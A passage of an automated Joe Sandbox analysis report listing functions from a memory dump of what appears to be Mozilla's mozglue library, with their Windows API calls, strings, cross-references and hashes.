ntdll.dll, xrefs: 6CB1C413

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 7bbff66589d85f628602e04c167194a7a638d46b984934f868ff2450661ebf38
Instruction ID: b6d277eec59c8f67f418ea6ffb7c81b33c9d0353a470e1275d7ba86ab3252754
Opcode Fuzzy Hash: 7bbff66589d85f628602e04c167194a7a638d46b984934f868ff2450661ebf38
Instruction Fuzzy Hash: 14E04F78208320EBDF247F35C908B193FF8E707206F004565AE0C83650DB74C4048B00

Function 6CB175B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB1748B,?), ref: 6CB175B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB175D7
FreeLibrary.KERNEL32(?,6CB1748B,?), ref: 6CB175EC

Strings

ntdll.dll, xrefs: 6CB175B3
RtlNtStatusToDosError, xrefs: 6CB175D1

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: d653c5c5a1da140eca2b889aa8c0ed3773e6d708a3c8c3a15439ece37c2f7a26
Instruction ID: d295504e8db0e202b917aa764dad6f97103a169af583b694f7ec28cbf637c10f
Opcode Fuzzy Hash: d653c5c5a1da140eca2b889aa8c0ed3773e6d708a3c8c3a15439ece37c2f7a26
Instruction Fuzzy Hash: 39E0B675704761FBEF206FA6C94C7097FF8EB56218F10546AA90DD3A80EBB58441CF91

Function 6CB17600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB17592), ref: 6CB17608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB17627
FreeLibrary.KERNEL32(?,6CB17592), ref: 6CB1763C

Strings

NtUnmapViewOfSection, xrefs: 6CB17621
ntdll.dll, xrefs: 6CB17603

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 4a48b1b3e432275a6d943f07387237f27bfd97f53d3b5cad137590fec3027736
Instruction ID: eef958497da48f82aeee8bf8ca497905c1fafe4f39474246b95ae35c8c49faab
Opcode Fuzzy Hash: 4a48b1b3e432275a6d943f07387237f27bfd97f53d3b5cad137590fec3027736
Instruction Fuzzy Hash: 3AE01A74304760EBDF205FA9C80C7093BB8E72A258F104455E90DD3654D7B580008F44

Function 6CB1BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CB1BE49), ref: 6CB1BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CB1BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CB1BE49), ref: 6CB1BF38
RtlReAllocateHeap.NTDLL ref: 6CB1BF83
RtlFreeHeap.NTDLL ref: 6CB1BFA6

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 5fd4b04aa0a87654aa71260da930795f629bb35ece88a9f2f19c77c0aff5d093
Instruction ID: 2e82030cfa83729e0cd8966fe1c88b89b60372d12e12eebb0225d304b87d06a2
Opcode Fuzzy Hash: 5fd4b04aa0a87654aa71260da930795f629bb35ece88a9f2f19c77c0aff5d093
Instruction Fuzzy Hash: 3C5193B1A042458FEB14CF69CD80BAAB3A6FF88314F294639D519A7F54D734F9068B81

Function 6CB08E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?,6CB2D734), ref: 6CB08E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?,6CB2D734), ref: 6CB08EBF
free.MOZGLUE(?,?,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?), ref: 6CB08F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?,6CB2D734), ref: 6CB08F46
free.MOZGLUE(?,?,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?), ref: 6CB08F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?), ref: 6CB08F8F

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ad9401e49ac60883666282b6b75f112ed271653d2edfa8d8585928a8dd7ee18d
Instruction ID: 86a0e2025ba2015f1acac2a3ffd00ee3398b754263800f6a2a0e4ff2fb8b4605
Opcode Fuzzy Hash: ad9401e49ac60883666282b6b75f112ed271653d2edfa8d8585928a8dd7ee18d
Instruction Fuzzy Hash: D35190B5B012568FEF10CF64D88066E7BB6FB44308F15096AD516AB740E732FA04CB92

Function 6CAC60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC6180
free.MOZGLUE(?,?,?,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAC6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC6229
free.MOZGLUE(?,?,?,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAC625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAC6271

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7e28ae52f3f48f88e4acb346700b1a239f9b7bfe8c4faacf29aa6c25a0afe909
Instruction ID: e02989d879d1c448e94793b7857eded900ecfe9c4f369811c2db6422ef92b414
Opcode Fuzzy Hash: 7e28ae52f3f48f88e4acb346700b1a239f9b7bfe8c4faacf29aa6c25a0afe909
Instruction Fuzzy Hash: 14518FB1B002068FEB14CFA8D8807AEB7B5EF45308F140539D516D7751E731E998CB52

Function 6CB027E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB0284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB0289A
free.MOZGLUE(?,?,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB028F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB02910
free.MOZGLUE(00000001,?,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB0293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB0294E

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 1534ee33c1087ec1069311c7c0b18649e454ebf280b554fa634343e80c910d19
Instruction ID: cb7b9a2c7653e91d79027c396af7bfa7f47b47c8bafff2d67f2afb9839fd6b9f
Opcode Fuzzy Hash: 1534ee33c1087ec1069311c7c0b18649e454ebf280b554fa634343e80c910d19
Instruction Fuzzy Hash: 1641ADB5B006468FEB14CF68D88876A7BF6EF45308F250939D55AEB740E731E908CB52

Function 6CABCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CABCFF6
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CABD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CABD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CABD139

Strings

MOZ_CRASH(), xrefs: 6CABD187

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 47e19b77c524f820c971d194bc885a9796ccf3ba91025e5a0d952f3205455e67
Instruction ID: f2e8ff9874a9154cf5dd01790cae71c1907f5cb89fbc508b2eeda2299c803c5b
Opcode Fuzzy Hash: 47e19b77c524f820c971d194bc885a9796ccf3ba91025e5a0d952f3205455e67
Instruction Fuzzy Hash: 7541CE32F016168FCB248E6C8C983AE76B8EB59714F14013AEA1DF7788D7B19C408BC0

Function 6CAB4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAB4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAB4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAB4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CAB4F1E

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 7495eac82062989c1601530d1fc17e2a5a17bd03cabc8528c7035486054b9aab
Instruction ID: 05bdc37c34910ba83c62afcc2b1b011afd4b152f0328d8af91d08502a736d977
Opcode Fuzzy Hash: 7495eac82062989c1601530d1fc17e2a5a17bd03cabc8528c7035486054b9aab
Instruction Fuzzy Hash: D841BF716047019FC705CF69C48099BBBF8FF89344F148A1DF465A7641D730E998CB91

Function 6CB1A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3F770), ref: 6CB1A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB1A87B

Part of subcall function 6CB1A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CB1A88F,00000000), ref: 6CB1A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CB1A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB1A90C
LeaveCriticalSection.KERNEL32(6CB3F770), ref: 6CB1A97E

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 42e407da57a385a8d78d369c0ea5fb94c6c14c9cbd707af066752ee58c1f9741
Instruction ID: 3fa5d7a2e65765fab93156ea0a0ceea1d60df9eaf46009a4e13c35088c4fb477
Opcode Fuzzy Hash: 42e407da57a385a8d78d369c0ea5fb94c6c14c9cbd707af066752ee58c1f9741
Instruction Fuzzy Hash: AC41A1B49002848BDB00DFA8D845AEEB774FF04324F148629E82AAB791D735E949CF91

Function 6CAC1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAC152B,?,?,?,?,6CAC1248,?), ref: 6CAC159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAC152B,?,?,?,?,6CAC1248,?), ref: 6CAC15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAC152B,?,?,?,?,6CAC1248,?), ref: 6CAC15E7
free.MOZGLUE(?,?,?,?,?,?,6CAC152B,?,?,?,?,6CAC1248,?), ref: 6CAC1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAC152B,?,?,?,?,6CAC1248,?), ref: 6CAC1637

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: aa7d116747a4976bc1057636a2185b8d38e1bef7221da5a5d1e1d14321d75f5e
Instruction ID: 2db1cf28f78b1958fff23f85edf9ed279827c303fe94370deac90b817202caeb
Opcode Fuzzy Hash: aa7d116747a4976bc1057636a2185b8d38e1bef7221da5a5d1e1d14321d75f5e
Instruction Fuzzy Hash: A731D672B001188BCB189E7CD9504BE77A9AB813647290B2DE523DBBD4EB30D9958792

Function 6CB1AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB2E330,?,6CADC059), ref: 6CB1AD9D

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB2E330,?,6CADC059), ref: 6CB1ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB2E330,?,6CADC059), ref: 6CB1AE01
GetLastError.KERNEL32(?,00000000,?,?,6CB2E330,?,6CADC059), ref: 6CB1AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB2E330,?,6CADC059), ref: 6CB1AE3D

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c05d49b15b400ed1065bcdaf2ef7cf6ac0a7d91dc6b5ef71636ced10bdbcf924
Instruction ID: 15a132b5f9f2fadfd7c3f7816091cc4b65ed09585193ff4be21bbd269e843be0
Opcode Fuzzy Hash: c05d49b15b400ed1065bcdaf2ef7cf6ac0a7d91dc6b5ef71636ced10bdbcf924
Instruction Fuzzy Hash: D83152B2A003559FDB10DF798D45AAFBBF8EF49614F154829E84AD7700E734E808CBA1

Function 6CB15EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB2DCA0,?,?,?,6CAEE8B5,00000000), ref: 6CB15F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CAEE8B5,00000000), ref: 6CB15F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CAEE8B5,00000000), ref: 6CB15F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CAEE8B5,00000000), ref: 6CB15F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CAEE8B5,00000000), ref: 6CB15FD6

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: a4cad2a0ffeec94cac373e98c6b5d8fd180a2dd79bb1473905f1279b876ae3c8
Instruction ID: aae50721c5bf950dd5d73a5a931bfae18588047c10b1533a2d19e182709ec378
Opcode Fuzzy Hash: a4cad2a0ffeec94cac373e98c6b5d8fd180a2dd79bb1473905f1279b876ae3c8
Instruction Fuzzy Hash: 5C312E34304A408FDB21CF29C898E2AB7F9FF89319B648558F55A87B99C731EC45CB81

Function 6CABB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CABB532
moz_xmalloc.MOZGLUE(?), ref: 6CABB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CABB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CABB57E
free.MOZGLUE(00000000), ref: 6CABB58F

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: edfd7ede65e375824cdba62bc6ed236944323687ea18b597834b7feaabcde408
Instruction ID: 4fa730a193c4a5a40879c4909fdd7e81ca17c45d963e9bab706b2bfcb0d35015
Opcode Fuzzy Hash: edfd7ede65e375824cdba62bc6ed236944323687ea18b597834b7feaabcde408
Instruction Fuzzy Hash: 82210771A002059BDB009F68DD80BAEBBBDFF41308F284229E919EB341E735D955C7A1

Function 6CABB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CABB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CABB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CABB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CABB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABB849

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 68878ef3b3f848e5a686cfe0a66e2d3d3efc798ed33033c695f7b09508fd6bd7
Instruction ID: 7ada6530830b305c50e113bc9b26902f6940b79e71a0f10296ed142b55c0bcc4
Opcode Fuzzy Hash: 68878ef3b3f848e5a686cfe0a66e2d3d3efc798ed33033c695f7b09508fd6bd7
Instruction Fuzzy Hash: 17215EB5E002599FDF04DFA9D8855BEBBB8EF49314F148129EC09A7300E735A984CBA0

Function 6CB16E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB16E78

Part of subcall function 6CB16A10: InitializeCriticalSection.KERNEL32(6CB3F618), ref: 6CB16A68
Part of subcall function 6CB16A10: GetCurrentProcess.KERNEL32 ref: 6CB16A7D
Part of subcall function 6CB16A10: GetCurrentProcess.KERNEL32 ref: 6CB16AA1
Part of subcall function 6CB16A10: EnterCriticalSection.KERNEL32(6CB3F618), ref: 6CB16AAE
Part of subcall function 6CB16A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB16AE1
Part of subcall function 6CB16A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB16B15
Part of subcall function 6CB16A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CB16B65
Part of subcall function 6CB16A10: LeaveCriticalSection.KERNEL32(6CB3F618,?,?), ref: 6CB16B83

MozFormatCodeAddress.MOZGLUE ref: 6CB16EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB16EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB16EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CB16EFF

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

